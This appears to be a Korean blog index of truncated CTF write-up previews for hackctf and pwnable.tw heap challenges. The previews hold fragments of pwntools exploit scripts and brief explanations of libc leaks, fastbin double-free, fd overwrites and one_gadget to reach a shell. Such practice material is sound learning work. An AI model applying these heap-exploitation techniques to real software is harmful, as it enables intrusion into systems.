2019/11/29 - [CTF write-up/hackctf] - [hackctf] childheap 이 문제에서 풀었던 방식 그대로 사용하면 libc leak은 쉽게 된다. 그런데 이 heap_paradise는 할당할 수 있는 최대 갯수를 15개로 제한을 해놓았다. fastbin dfb를 이용하면 안되고, 기존에 있던 청크를 재사용하여 fastbin에 속한 청크의 fd를 직접바꾸어주는 식으로 하게 되면, 15개 할당에 딱맞게 익스를 할 수 있다.
import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() #context.log_level = 'debug' if sys.argv[1].strip() == 'l': p = process('./spirited_away') elif sys.argv[1].strip() == 'r': p = remote('chall.pwnable.tw', 10204) e = ELF('./spirited_away') if sys.argv[1].strip() == 'l': l = e.libc elif sys.argv[1].strip() == 'r': l = ELF('./libc_32.so.6') def mov..
import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() context.log_level = 'debug' def malloc(size, Data): sleep(0.3) #p.recv() p.send('1') #p.sendafter('Your choice :', '1') sleep(0.3) #p.recv() p.send(str(size)) #p.sendafter('size', str(size)) sleep(0.3) #p.recv() p.send(str(Data)) #p.sendafter('Data:', str(Data)) def free(): sleep(0.3) p.send('2')..
sleep을 syscall로 바꾼 뒤 read의 반환 값을 이용해 execve를 실행시켜주면 된다. import sys from pwn import * if len(sys.argv) != 2: print "sys.argv[1] = r : remotel : local" exit() #context.log_level = 'debug' if sys.argv[1].strip() == 'l': p = process('./unexploitable') elif sys.argv[1].strip() == 'r': p = remote('chall.pwnable.tw', 10403) e = ELF('./unexploitable') if sys.argv[1].strip() == 'l': l = e.libc elif sys.a..
이 문제에서는 uaf를 통해 libc leak을 하고 free를 할 때 배열을 초기화하지 않아서 2번 free가 가능하고 고로 fastbin dup과 one_gadget을 이용해서 풀면 되는 문제이다. from pwn import * #context.log_level = 'debug' def raisef(length, name, color): p.sendlineafter('Your choice :', '1') p.sendlineafter('Length of the name :', str(length)) p.sendafter('The name of flower :', str(name)) p.sendlineafter('The color of the flower :', str(color)) def visit(..
처음에 ida를 통해 문제를 열게 되면 함수들이 sub~~어쩌구로 나오게 되는데 이것을 실행했을때 나오게 되는 선택지로 함수 이름을 복구하면 됩니다. 그래서 복구를 해보게 되면 main은 void __cdecl __noreturn main() { int v0; // eax char buf; // [esp+8h] [ebp-10h] unsigned int v2; // [esp+Ch] [ebp-Ch] v2 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); while ( 1 ) { while ( 1 ) { intro(); read(0, &buf, 4u); v0 = atoi(&buf); if ( v0 != 2 ) break; de..